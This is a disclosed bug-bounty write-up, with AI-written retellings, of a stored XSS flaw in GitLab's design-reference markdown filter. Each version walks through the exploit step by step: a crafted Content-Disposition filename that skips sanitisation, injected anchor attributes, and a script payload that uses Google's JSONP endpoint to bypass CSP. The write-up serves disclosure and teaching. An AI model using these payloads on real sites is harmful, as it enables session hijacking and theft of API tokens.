Skip to content
XSS Disclosed report Advanced

Stored XSS in markdown via the DesignReferenceFilter

A design file could be uploaded with a double quote in its filename, which was not sanitised, allowing an attacker to break out of an HTML attribute when the design was referenced in markdown. This led to stored cross-site scripting (XSS) that could run arbitrary JavaScript in the context of other users, bypassing the Content Security Policy (CSP).

vakzz Follow

Originally disclosed on HackerOne

Bounty$16,000 Critical 9.6 View original
  • Triaged in 4 days
  • Fixed in 3 months
  • Paid in 4 days
  • Disclosed after 5 months

Summary

When rendering markdown, links to designs are parsed using the following link_reference_pattern:

https://gitlab.com/gitlab-org/gitlab/-/blob/v13.12.1-ee/app/models/design_management/design.rb#L168

Ruby
    def self.link_reference_pattern
      @link_reference_pattern ||= begin
        path_segment = %r{issues/#{Gitlab::Regex.issue}/designs}
        ext = Regexp.new(Regexp.union(SAFE_IMAGE_EXT + DANGEROUS_IMAGE_EXT).source, Regexp::IGNORECASE)
        valid_char = %r{[^/\s]} # any char that is not a forward slash or whitespace
        filename_pattern = %r{
          (?<url_filename> #{valid_char}+ \. #{ext})
        }x

        super(path_segment, filename_pattern)
      end
    end

The url_filename match is then used in parse_symbol: https://gitlab.com/gitlab-org/gitlab/-/blob/v13.12.1-ee/lib/banzai/filter/references/design_reference_filter.rb#L75

Ruby
def parse_symbol(raw, match_data)
  filename = match_data[:url_filename]
  iid = match_data[:issue].to_i
  Identifier.new(filename: CGI.unescape(filename), issue_iid: iid)
end

Since valid_char is anything apart from a forward slash or whitespace, this allows for any other special characters (such as quotes) to be matched.

The final url match gets used when creating the link in object_link_filter:

https://gitlab.com/gitlab-org/gitlab/-/blob/v13.12.1-ee/lib/banzai/filter/references/abstract_reference_filter.rb#L219

Ruby
url =
  if matches.names.include?("url") && matches[:url]
    matches[:url]
  else
    url_for_object_cached(object, parent)
  end

content = link_content || object_link_text(object, matches)

link = %(<a href="#{url}" #{data}
            title="#{escape_once(title)}"
            class="#{klass}">#{content}</a>)

So if a design could be uploaded with a double quote in it's filename, this would cause it to break out of the href attribute.

Normally file uploads would go through workhorse and end up being sanitized by CarrierWave::SanitizedFile, but it's possible when uploading a design to skip the workhorse by using a Content-Disposition header such as Content-Disposition: form-data; name="1"; filename*=ASCII-8BIT''filename.png which allows for any character to be used as part of the design filename.

Since whitespaces and slashes are still invalid, it's only possible to inject tags without attributes, or inject attributed into the a element.

Injecting attributes can be chained with the ReferenceRedactor to replace the node with arbitrary html via the data-original attribute:

https://gitlab.com/gitlab-org/gitlab/-/blob/v13.12.1-ee/lib/banzai/reference_redactor.rb#L77

Ruby
def redacted_node_content(node)
  original_content = node.attr('data-original')
  link_reference = node.attr('data-link-reference')

  # Build the raw <a> tag just with a link as href and content if
  # it's originally a link pattern. We shouldn't return a plain text href.
  original_link =
    if link_reference == 'true'
      href = node.attr('href')
      content = original_content

      %(<a href="#{href}">#{content}</a>)
    end

For a CSP bypass, the jsonp endpoint of the google api can be used in combination with setTimeout: https://apis.google.com/complete/search?client=chrome&q=alert(document.domain);//&callback=setTimeout

Steps to reproduce

  1. Create a new project on gitlab.com
  2. Create a new issue
  3. Make sure burp or similar is running
  4. Upload a new design
  5. Edit the request and change the Content-Disposition header to Content-Disposition: form-data; name="1"; filename*=ASCII-8BIT''bbb%22class%3D%22gfm%22a%3D%27.png
  6. Refresh the page, there should now be a design named bbb"class="gfm"a='.png
  7. Create a new issue using the design link and the inner html containing a quote:
<a href='https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb%22class%3D%22gfm%22a%3D%27.png'>
' vakzz=here
</a>
  1. Looking at the markup you can see the a attribute contains everything up to the inner html and then the attribute vakzz has also been injected:
HTML
<a href="https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb" class="gfm" a=".png&quot; data-original=&quot;
' vakzz=here
&quot; data-link=&quot;true&quot; data-link-reference=&quot;true&quot; data-project=&quot;26924211&quot; data-design=&quot;226146&quot; data-issue=&quot;87875440&quot; data-reference-type=&quot;design&quot; data-container=&quot;body&quot; data-placement=&quot;top&quot;
                          title=&quot;bbb&quot;class=&quot;gfm&quot;a='.png&quot;
                          class=&quot;gfm gfm-design has-tooltip&quot;>
" vakzz="here"></a>
  1. Create a new issue using the design link, this time including the required data attributed to trigger the ReferenceRedactor and the payload html encoded in the data-original:
<a href='https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb%22class%3D%22gfm%22a%3D%27.png'>
' data-design="1" data-issue="1" data-reference-type="design" data-original="
  &lt;script src='https://apis.google.com/complete/search?client=chrome&q=alert(document.domain);//&callback=setTimeout'>&lt;/script>
"
</a>
  1. Save the issue and reload the page
xss.mp4 From the original on HackerOne

Impact

Stored XSS with CSP bypass allowing arbitrary javascript to be run anywhere that markdown could be posted (issues, comments, etc). This could be used to create and exfiltrate api tokens with full access as described in https://hackerone.com/reports/1122227 targeting individuals or specific projects.

Examples

POC: https://gitlab.com/vakzz-h1/design-xss/-/issues/3

What is the current bug behavior?

  • The AbstractReferenceFilter is generating the link using string interpolation but the url could contain double quotes
  • The design model can have an arbitrary` attribute

What is the expected correct behavior?

  • The url should be validated or escaped before being used
  • The design model could probably have a validator for the filename

Relevant logs and/or screenshots

Output of checks

This bug happens on GitLab.com

Impact

Stored XSS with CSP bypass allowing arbitrary javascript to be run anywhere that markdown could be posted (issues, comments, etc). This could be used to create and exfiltrate api tokens with full access as described in https://hackerone.com/reports/1122227 targeting individuals or specific projects.

The original report as published on HackerOne, by vakzz. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

GitLab renders user-authored markdown in many places: issues, comments and more. Part of that rendering pipeline is Banzai, a set of filters that turn special references in markdown into links. One of those filters, DesignReferenceFilter, recognises links to designs attached to an issue and rewrites them into an <a> element pointing at the design.

The report targets gitlab.com and the design management feature. When a design is referenced in markdown, the filter extracts the filename from the link, builds a URL for the design and interpolates that URL into an anchor tag. The bug is that the filename, and therefore the URL, can contain characters that are not safe inside an HTML attribute.

Setup

The researcher worked against gitlab.com with a project of their own (vakzz-h1/design-xss) and an issue to hold the designs. A proxy such as Burp was needed to intercept and edit the design upload request. The code references in the report are from v13.12.1-ee.

Finding it

The starting point is the pattern used to recognise design links in markdown:

Ruby
def self.link_reference_pattern
  @link_reference_pattern ||= begin
    path_segment = %r{issues/#{Gitlab::Regex.issue}/designs}
    ext = Regexp.new(Regexp.union(SAFE_IMAGE_EXT + DANGEROUS_IMAGE_EXT).source, Regexp::IGNORECASE)
    valid_char = %r{[^/\s]} # any char that is not a forward slash or whitespace
    filename_pattern = %r{
      (?<url_filename> #{valid_char}+ \. #{ext})
    }x

    super(path_segment, filename_pattern)
  end
end

The url_filename match is then consumed in parse_symbol:

Ruby
def parse_symbol(raw, match_data)
  filename = match_data[:url_filename]
  iid = match_data[:issue].to_i
  Identifier.new(filename: CGI.unescape(filename), issue_iid: iid)
end

Because valid_char is defined as anything that is not a forward slash or whitespace, every other special character, quotes included, is accepted in the filename. The matched URL is later used when the link is built in object_link_filter:

Ruby
url =
  if matches.names.include?("url") && matches[:url]
    matches[:url]
  else
    url_for_object_cached(object, parent)
  end

content = link_content || object_link_text(object, matches)

link = %(<a href="#{url}" #{data}
            title="#{escape_once(title)}"
            class="#{klass}">#{content}</a>)

The url is interpolated straight into a double-quoted href attribute. If a design could be uploaded with a double quote in its filename, the URL would break out of the href attribute.

Normally uploads pass through workhorse and are sanitised by CarrierWave::SanitizedFile. The researcher found that a design upload can skip workhorse by using a Content-Disposition header of the form Content-Disposition: form-data; name="1"; filename*=ASCII-8BIT''filename.png, which allows any character in the design filename.

Whitespace and slashes remain invalid, so the injection is limited: it is only possible to inject tags without attributes, or to inject attributes into the existing a element. Attribute injection can be chained with ReferenceRedactor, which replaces the node with arbitrary HTML taken from the data-original attribute:

Ruby
def redacted_node_content(node)
  original_content = node.attr('data-original')
  link_reference = node.attr('data-link-reference')

  # Build the raw <a> tag just with a link as href and content if
  # it's originally a link pattern. We shouldn't return a plain text href.
  original_link =
    if link_reference == 'true'
      href = node.attr('href')
      content = original_content

      %(<a href="#{href}">#{content}</a>)
    end

For a CSP bypass, the report notes that the JSONP endpoint of the Google API can be combined with setTimeout:

Text
https://apis.google.com/complete/search?client=chrome&q=alert(document.domain);//&callback=setTimeout

Exploitation

Step 1: Create the project and issue

Create a new project on gitlab.com and a new issue inside it. Make sure Burp or a similar proxy is running so the design upload can be intercepted.

Step 2: Upload a design with a crafted filename

Upload a new design, intercept the request and change the Content-Disposition header to:

HTTP
Content-Disposition: form-data; name="1"; filename*=ASCII-8BIT''bbb%22class%3D%22gfm%22a%3D%27.png

The filename* form with the ASCII-8BIT'' prefix lets the upload skip workhorse and the sanitisation by CarrierWave::SanitizedFile. Decoded, the filename becomes bbb"class="gfm"a='.png, which contains a double quote, an equals sign and a single quote, all of which the design link pattern accepts.

Step 3: Confirm the design name

Refresh the page. A design named bbb"class="gfm"a='.png should now exist.

Step 4: Reference the design with a quote in the inner HTML

Create a new issue that links to the design and whose inner HTML contains a quote:

HTML
<a href='https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb%22class%3D%22gfm%22a%3D%27.png'>
' vakzz=here
</a>

Looking at the resulting markup, the a attribute contains everything up to the inner HTML, and the attribute vakzz has also been injected:

HTML
<a href="https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb" class="gfm" a=".png&quot; data-original=&quot;
' vakzz=here
&quot; data-link=&quot;true&quot; data-link-reference=&quot;true&quot; data-project=&quot;26924211&quot; data-design=&quot;226146&quot; data-issue=&quot;87875440&quot; data-reference-type=&quot;design&quot; data-container=&quot;body&quot; data-placement=&quot;top&quot;
                          title=&quot;bbb&quot;class=&quot;gfm&quot;a='.png&quot;
                          class=&quot;gfm gfm-design has-tooltip&quot;>
" vakzz="here"></a>

Looking at the markup, the a attribute contains everything up to the inner HTML, and the attribute vakzz has also been injected.

Step 5: Trigger ReferenceRedactor with an encoded payload

Create another issue using the design link, this time including the data attributes required to trigger ReferenceRedactor, with the payload HTML encoded in data-original:

HTML
<a href='https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb%22class%3D%22gfm%22a%3D%27.png'>
' data-design="1" data-issue="1" data-reference-type="design" data-original="
  &lt;script src='https://apis.google.com/complete/search?client=chrome&q=alert(document.domain);//&callback=setTimeout'>&lt;/script>
"
</a>

The data-design, data-issue and data-reference-type attributes satisfy the redactor's expectations, and data-original carries the HTML-encoded script tag. When the redactor rebuilds the node, it takes data-original as the content and places it inside the anchor, so the encoded script is emitted as live markup.

Step 6: Save and reload

Save the issue and reload the page. The script executes. The video shows the stored XSS firing:

xss.mp4 From the original on HackerOne

The report notes that the JSONP endpoint of the Google API can be used in combination with setTimeout for a CSP bypass.

Root cause

Two mistakes combine. First, AbstractReferenceFilter builds the link with string interpolation, and the url can contain double quotes because the design filename pattern accepts any character except a slash or whitespace. Second, the design model can have an arbitrary attribute.

The upload path is the enabling condition: workhorse and CarrierWave::SanitizedFile would normally sanitise the filename, but the filename* form of Content-Disposition lets the upload skip that sanitisation. The ReferenceRedactor then turns the injected data-original attribute into arbitrary HTML, which is what upgrades attribute injection into script execution.

Impact

This is stored XSS with a CSP bypass, allowing arbitrary JavaScript to run anywhere markdown can be posted, including issues and comments. As the report describes, it could be used to create and exfiltrate API tokens with full access, following the technique in a separate report, targeting individuals or specific projects. The report states the bug happens on GitLab.com.

Fix

The report's expected behaviour is that the URL should be validated or escaped before being used, and that the design model could probably have a validator for the filename. The report does not describe which change was actually made.

Variants to test

  1. Other reference filters that interpolate a matched URL into an attribute. A positive result is a rendered anchor whose href is closed early by a quote from the matched text.
  2. Upload endpoints that accept the filename* form of Content-Disposition. A positive result is a stored filename containing characters that the normal sanitisation would remove.
  3. Filters that rebuild nodes from data-* attributes, such as ReferenceRedactor. A positive result is HTML-encoded content in such an attribute being emitted as live markup.
  4. CSP-protected pages that allow a JSONP-capable third-party script source. A positive result is a callback parameter executing attacker-controlled code through an allowed origin.

Hunting notes

This kind of bug hides where user-controlled names are matched by permissive regular expressions and then interpolated into HTML without escaping. The valid_char pattern here is the signal: a character class defined by exclusion rather than by an allowlist will admit quotes and angle brackets. Upload paths that can bypass workhorse, for example through the filename* form of Content-Disposition, are worth checking wherever filenames are later rendered. The researcher demonstrated impact by chaining attribute injection with ReferenceRedactor and a JSONP CSP bypass, which turned a limited attribute injection into script execution.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 17 min read.

What happened, in plain words

GitLab is a website where teams keep their code and talk about it. One of the ways people talk is by typing text in a box, in a format called markdown. Markdown is a simple way of writing that lets you make bold text, lists and links without knowing HTML, the language web pages are built from. When you type a link to something on GitLab, GitLab is clever enough to turn it into a clickable link for you.

This report is about a feature called designs. A design is an image file you attach to an issue, which is a discussion thread in a project. You can then mention that design in your markdown, and GitLab turns the mention into a link to the image.

The researcher found that the name of the uploaded image file was trusted too much. If the file name contained a double quote character, that quote ended up inside the HTML that GitLab generated for the link, and it broke the link apart. The leftover text was then read by the browser as extra instructions. With a bit of chaining, those extra instructions became a script that runs in the browser of anyone who views the page. That is called stored cross-site scripting, or stored XSS: stored because the malicious content is saved on the server and shown to every visitor, and cross-site scripting because it lets an attacker run their own code inside someone else's website session.

The report rates this as critical, with a CVSS score of 9.6. CVSS is a standard scoring system for how serious a security flaw is, from 0 to 10. The researcher was paid a bounty of 16,000 USD, and the report was disclosed publicly on 18 October 2021.

Context

GitLab renders user-authored markdown in many places: issues, comments and more. Rendering means turning the text you typed into the finished web page you see. Part of that rendering pipeline is Banzai, a set of filters that turn special references in markdown into links. A filter here is a small piece of code that looks at the text and rewrites parts of it. One of those filters, DesignReferenceFilter, recognises links to designs attached to an issue and rewrites them into an <a> element pointing at the design. An <a> element is the HTML tag for a hyperlink; the address it points to sits in its href attribute.

The report targets gitlab.com and the design management feature. When a design is referenced in markdown, the filter extracts the filename from the link, builds a URL for the design and interpolates that URL into an anchor tag. Interpolating means gluing a value into a piece of text, here into the HTML template. The bug is that the filename, and therefore the URL, can contain characters that are not safe inside an HTML attribute. An HTML attribute is a setting written inside a tag, like href="..."; the browser knows where the value ends because of the quote marks around it. If the value itself contains a quote mark, the browser can be fooled into thinking the value ended early.

Setup

The researcher worked against gitlab.com with a project of their own (vakzz-h1/design-xss) and an issue to hold the designs. A proxy such as Burp was needed to intercept and edit the design upload request. A proxy is a program that sits between your browser and the website, so you can look at and change the messages going back and forth. The code references in the report are from v13.12.1-ee, a version of GitLab's source code.

Finding it

The starting point is the pattern used to recognise design links in markdown. A pattern here is a regular expression, a way of describing what text looks like so a program can find it. This one describes what a design link looks like:

Ruby
def self.link_reference_pattern
  @link_reference_pattern ||= begin
    path_segment = %r{issues/#{Gitlab::Regex.issue}/designs}
    ext = Regexp.new(Regexp.union(SAFE_IMAGE_EXT + DANGEROUS_IMAGE_EXT).source, Regexp::IGNORECASE)
    valid_char = %r{[^/\s]} # any char that is not a forward slash or whitespace
    filename_pattern = %r{
      (?<url_filename> #{valid_char}+ \. #{ext})
    }x

    super(path_segment, filename_pattern)
  end
end

Line by line:

  • def self.link_reference_pattern starts the definition of a method, a named block of code, that builds the pattern once and remembers it.
  • path_segment = %r{issues/#{Gitlab::Regex.issue}/designs} describes the part of the link that points at the designs of an issue. The #{...} part inserts another pattern for the issue number.
  • ext = Regexp.new(...) builds a pattern for the allowed image file extensions, such as .png, ignoring upper or lower case.
  • valid_char = %r{[^/\s]} is the important line. It says a valid character is anything that is not a forward slash and not whitespace. The comment in the code says exactly that. This is a blocklist: it lists what is forbidden and allows everything else.
  • filename_pattern = %r{...} describes the file name: one or more valid characters, then a dot, then an allowed extension. The (?<url_filename> ...) part gives that piece of text a name, url_filename, so later code can pick it out.
  • super(path_segment, filename_pattern) hands the two pieces to the shared parent code that does the actual matching.

The url_filename match is then consumed in parse_symbol:

Ruby
def parse_symbol(raw, match_data)
  filename = match_data[:url_filename]
  iid = match_data[:issue].to_i
  Identifier.new(filename: CGI.unescape(filename), issue_iid: iid)
end

Line by line:

  • def parse_symbol(raw, match_data) defines a method that receives the raw text and the result of the pattern match.
  • filename = match_data[:url_filename] pulls out the file name that the pattern captured.
  • iid = match_data[:issue].to_i pulls out the issue number and turns it into a whole number with to_i.
  • Identifier.new(...) creates a small object holding the file name and the issue number. CGI.unescape turns percent-encoded text, like %22, back into the real character, here a double quote.

Because valid_char is defined as anything that is not a forward slash or whitespace, every other special character, quotes included, is accepted in the filename. The matched URL is later used when the link is built in object_link_filter:

Ruby
url =
  if matches.names.include?("url") && matches[:url]
    matches[:url]
  else
    url_for_object_cached(object, parent)
  end

content = link_content || object_link_text(object, matches)

link = %(<a href="#{url}" #{data}
            title="#{escape_once(title)}"
            class="#{klass}">#{content}</a>)

Line by line:

  • The if block decides which address to use: the one found in the text if there is one, otherwise one built from the object being referenced.
  • content = link_content || object_link_text(...) decides what the link should say, the clickable text.
  • The last statement builds the HTML. %(...) is Ruby's way of writing a string. Notice that #{url} is dropped straight into href="..." with no escaping, while title is passed through escape_once, which makes dangerous characters safe. The address is the one value that is not made safe.

The url is interpolated straight into a double-quoted href attribute. If a design could be uploaded with a double quote in its filename, the URL would break out of the href attribute. Breaking out means the quote in the value ends the attribute early, and whatever follows is read by the browser as new HTML rather than as part of the address.

Normally uploads pass through workhorse and are sanitised by CarrierWave::SanitizedFile. Workhorse is a helper program GitLab uses to handle large file uploads efficiently, and sanitising means cleaning a file name of characters that could cause trouble. The researcher found that a design upload can skip workhorse by using a Content-Disposition header of the form Content-Disposition: form-data; name="1"; filename*=ASCII-8BIT''filename.png, which allows any character in the design filename. A header is a line of extra information sent along with a web request. Content-Disposition is the header that tells the server this part of the upload is a file and what it is called. The filename* form is a standard way of writing a file name with special encoding, and it lets the upload skip the cleaning step.

Whitespace and slashes remain invalid, so the injection is limited: it is only possible to inject tags without attributes, or to inject attributes into the existing a element. Attribute injection means adding your own settings to a tag that the site generated. Attribute injection can be chained with ReferenceRedactor, which replaces the node with arbitrary HTML taken from the data-original attribute. A node here is one element in the page's internal tree of tags. The redactor is a filter that rewrites reference links, and it reads the data-original attribute as the content to put back:

Ruby
def redacted_node_content(node)
  original_content = node.attr('data-original')
  link_reference = node.attr('data-link-reference')

  # Build the raw <a> tag just with a link as href and content if
  # it's originally a link pattern. We shouldn't return a plain text href.
  original_link =
    if link_reference == 'true'
      href = node.attr('href')
      content = original_content

      %(<a href="#{href}">#{content}</a>)
    end

Line by line:

  • original_content = node.attr('data-original') reads the value of the data-original attribute from the element.
  • link_reference = node.attr('data-link-reference') reads whether this element was originally a link.
  • If it was, the code takes the href and the data-original content and builds a fresh <a> tag with that content placed inside it, unescaped.

That last point is the key: content that was safely encoded in an attribute is moved into the body of the tag, where the browser treats it as live HTML.

For a CSP bypass, the report notes that the JSONP endpoint of the Google API can be combined with setTimeout. CSP stands for Content Security Policy, a rule set a website sends to the browser saying which scripts are allowed to run; it is a defence that stops many XSS attacks. JSONP is an old trick for loading data from another site as if it were a script. The endpoint below takes a callback parameter and wraps its answer in a call to that function name:

Text
https://apis.google.com/complete/search?client=chrome&q=alert(document.domain);//&callback=setTimeout

Here the callback is setTimeout, a built-in browser function that runs code after a delay. The q parameter contains alert(document.domain), and the // comments out the rest. Because the script comes from apis.google.com, an origin the policy allows, the browser loads it, and the code inside runs.

Exploitation

Step 1: Create the project and issue

Create a new project on gitlab.com and a new issue inside it. Make sure Burp or a similar proxy is running so the design upload can be intercepted.

Step 2: Upload a design with a crafted filename

Upload a new design, intercept the request and change the Content-Disposition header to:

HTTP
Content-Disposition: form-data; name="1"; filename*=ASCII-8BIT''bbb%22class%3D%22gfm%22a%3D%27.png

Line by line:

  • form-data says this request is a form submission carrying a file.
  • name="1" is the name of the form field, which the site uses to know which upload slot this is.
  • filename*=ASCII-8BIT''... is the encoded form of the file name. The ASCII-8BIT'' prefix declares the character encoding, and the rest is percent-encoded.
  • %22 decodes to a double quote, %3D to an equals sign and %27 to a single quote.

The filename* form with the ASCII-8BIT'' prefix lets the upload skip workhorse and the sanitisation by CarrierWave::SanitizedFile. Decoded, the filename becomes bbb"class="gfm"a='.png, which contains a double quote, an equals sign and a single quote, all of which the design link pattern accepts.

Step 3: Confirm the design name

Refresh the page. A design named bbb"class="gfm"a='.png should now exist. This confirms the server stored the name with the dangerous characters intact, rather than cleaning it.

Step 4: Reference the design with a quote in the inner HTML

Create a new issue that links to the design and whose inner HTML contains a quote:

HTML
<a href='https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb%22class%3D%22gfm%22a%3D%27.png'>
' vakzz=here
</a>

Line by line:

  • The first line is a link to the design, written with single quotes around the address. The address contains the percent-encoded file name from step 2.
  • The second line is the text that will appear inside the link. It starts with a single quote, then vakzz=here.
  • The third line closes the link.

Looking at the resulting markup, the a attribute contains everything up to the inner HTML, and the attribute vakzz has also been injected:

HTML
<a href="https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb" class="gfm" a=".png&quot; data-original=&quot;
' vakzz=here
&quot; data-link=&quot;true&quot; data-link-reference=&quot;true&quot; data-project=&quot;26924211&quot; data-design=&quot;226146&quot; data-issue=&quot;87875440&quot; data-reference-type=&quot;design&quot; data-container=&quot;body&quot; data-placement=&quot;top&quot;
                          title=&quot;bbb&quot;class=&quot;gfm&quot;a='.png&quot;
                          class=&quot;gfm gfm-design has-tooltip&quot;>
" vakzz="here"></a>

Line by line:

  • href=".../designs/bbb" is the address, cut short at the double quote that came from the file name.
  • class="gfm" a=".png&quot; shows the rest of the file name being read as new attributes. &quot; is the HTML encoding of a double quote.
  • data-original=&quot; starts the attribute that the redactor will later read.
  • ' vakzz=here is the text from the issue, and the single quote at its start closes the data-original value.
  • " vakzz="here" shows vakzz landing as yet another attribute on the tag.

Looking at the markup, the a attribute contains everything up to the inner HTML, and the attribute vakzz has also been injected. This step proves the breakout works and that you can add your own attributes to the generated link.

Step 5: Trigger ReferenceRedactor with an encoded payload

Create another issue using the design link, this time including the data attributes required to trigger ReferenceRedactor, with the payload HTML encoded in data-original:

HTML
<a href='https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb%22class%3D%22gfm%22a%3D%27.png'>
' data-design="1" data-issue="1" data-reference-type="design" data-original="
  &lt;script src='https://apis.google.com/complete/search?client=chrome&q=alert(document.domain);//&callback=setTimeout'>&lt;/script>
"
</a>

Line by line:

  • The first line is the same design link as before.
  • The second line starts with the single quote that closes the data-original value, then adds data-design, data-issue and data-reference-type attributes. These tell the redactor that this element is a design reference it should process.
  • data-original=" opens the attribute that holds the content to restore.
  • &lt;script ...>&lt;/script> is a script tag written with encoded angle brackets. &lt; and &gt; are the HTML encodings of < and >, so the browser does not treat it as a tag while it sits inside the attribute.
  • The script's src is the Google JSONP address from earlier.
  • The final " closes the attribute, and the last line closes the link.

The data-design, data-issue and data-reference-type attributes satisfy the redactor's expectations, and data-original carries the HTML-encoded script tag. When the redactor rebuilds the node, it takes data-original as the content and places it inside the anchor, so the encoded script is emitted as live markup. In other words, the encoded text is decoded by the browser at the moment it becomes part of the page, and the script tag becomes real.

Step 6: Save and reload

Save the issue and reload the page. The script executes. The video shows the stored XSS firing:

xss.mp4 From the original on HackerOne

The report notes that the JSONP endpoint of the Google API can be used in combination with setTimeout for a CSP bypass. document.domain is the address of the page the code is running on, so the alert box proves the code is running in the context of gitlab.com.

Root cause

Two mistakes combine. First, AbstractReferenceFilter builds the link with string interpolation, and the url can contain double quotes because the design filename pattern accepts any character except a slash or whitespace. Second, the design model can have an arbitrary attribute. A model here is the code that represents a stored record, in this case a design.

The upload path is the enabling condition: workhorse and CarrierWave::SanitizedFile would normally sanitise the filename, but the filename* form of Content-Disposition lets the upload skip that sanitisation. The ReferenceRedactor then turns the injected data-original attribute into arbitrary HTML, which is what upgrades attribute injection into script execution.

Impact

This is stored XSS with a CSP bypass, allowing arbitrary JavaScript to run anywhere markdown can be posted, including issues and comments. JavaScript is the programming language browsers run, so running arbitrary JavaScript in someone's session means acting as that person on the site. As the report describes, it could be used to create and exfiltrate API tokens with full access, following the technique in a separate report, targeting individuals or specific projects. An API token is a secret string that lets a program act on your behalf without your password, so stealing one is like stealing a key. Exfiltrate means to send stolen data out to the attacker. The report states the bug happens on GitLab.com.

Fix

The report's expected behaviour is that the URL should be validated or escaped before being used, and that the design model could probably have a validator for the filename. Validating means checking a value against rules and rejecting bad ones; escaping means converting dangerous characters into harmless encoded forms. The report does not describe which change was actually made.

Variants to test

  1. Other reference filters that interpolate a matched URL into an attribute. A positive result is a rendered anchor whose href is closed early by a quote from the matched text.
  2. Upload endpoints that accept the filename* form of Content-Disposition. A positive result is a stored filename containing characters that the normal sanitisation would remove.
  3. Filters that rebuild nodes from data-* attributes, such as ReferenceRedactor. A positive result is HTML-encoded content in such an attribute being emitted as live markup.
  4. CSP-protected pages that allow a JSONP-capable third-party script source. A positive result is a callback parameter executing attacker-controlled code through an allowed origin.

Hunting notes

This kind of bug hides where user-controlled names are matched by permissive regular expressions and then interpolated into HTML without escaping. The valid_char pattern here is the signal: a character class defined by exclusion rather than by an allowlist will admit quotes and angle brackets. An allowlist says exactly what is permitted; a blocklist says what is forbidden and lets everything else through, which is easy to get wrong. Upload paths that can bypass workhorse, for example through the filename* form of Content-Disposition, are worth checking wherever filenames are later rendered. The researcher demonstrated impact by chaining attribute injection with ReferenceRedactor and a JSONP CSP bypass, which turned a limited attribute injection into script execution.

Glossary

  • Markdown: a simple text format for writing formatted documents, which GitLab converts into web pages.
  • HTML: the language web pages are written in, made of tags such as <a> for links.
  • Tag: a piece of HTML such as <a> or <script> that tells the browser what to display or run.
  • Attribute: a setting inside a tag, such as href="...", usually wrapped in quotes.
  • Element / node: one tag and its content, as the browser sees it in the page structure.
  • Anchor (<a>): the HTML tag for a hyperlink.
  • href: the attribute of a link that holds its address.
  • URL: the address of something on the web.
  • Filter: a small piece of code that rewrites part of the text being rendered.
  • Banzai: GitLab's set of filters that render markdown.
  • Regular expression (pattern): a way of describing text so a program can find or check it.
  • Character class: the part of a regular expression that says which characters are allowed.
  • Allowlist: a list of things that are permitted, with everything else rejected.
  • Blocklist: a list of things that are forbidden, with everything else allowed.
  • Interpolation: gluing a value into a piece of text or template.
  • Escaping: converting dangerous characters into harmless encoded forms so they cannot break out of their context.
  • Percent-encoding: writing a character as % plus a code, such as %22 for a double quote.
  • Content-Disposition: the header that tells a server a request part is a file and what it is called.
  • Header: a line of extra information sent with a web request or response.
  • Workhorse: a GitLab helper program that handles file uploads.
  • Sanitising: cleaning a value, such as a file name, of characters that could cause trouble.
  • Proxy (Burp): a program between your browser and a website that lets you inspect and change the traffic.
  • Design: an image file attached to an issue in GitLab.
  • Issue: a discussion thread in a GitLab project.
  • Project: a workspace in GitLab holding code and issues.
  • Model: the code that represents a stored record, such as a design.
  • XSS (cross-site scripting): a flaw that lets an attacker run their own code in another user's browser session on a website.
  • Stored XSS: XSS where the malicious content is saved on the server and shown to every visitor.
  • Attribute injection: adding your own attributes to a tag the site generated.
  • ReferenceRedactor: a GitLab filter that rebuilds reference links from their data-* attributes.
  • CSP (Content Security Policy): rules a site sends to the browser saying which scripts may run.
  • CSP bypass: getting code to run despite those rules, often by using an allowed third-party source.
  • JSONP: an old technique for loading data from another site as if it were a script, using a callback parameter.
  • Callback: the function name a JSONP endpoint wraps its answer in.
  • setTimeout: a built-in browser function that runs code after a delay.
  • document.domain: the address of the page the code is running on.
  • API: a way for programs to talk to a service and ask it to do things.
  • API token: a secret string that lets a program act on your behalf without your password.
  • Exfiltrate: to send stolen data out to an attacker.
  • CVSS: a standard 0 to 10 score for how serious a security flaw is.
  • Bounty: money paid to a researcher for reporting a security flaw.
  • Disclosure: making a security report public.

More by vakzz

View all

24 more disclosed reports, best first.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.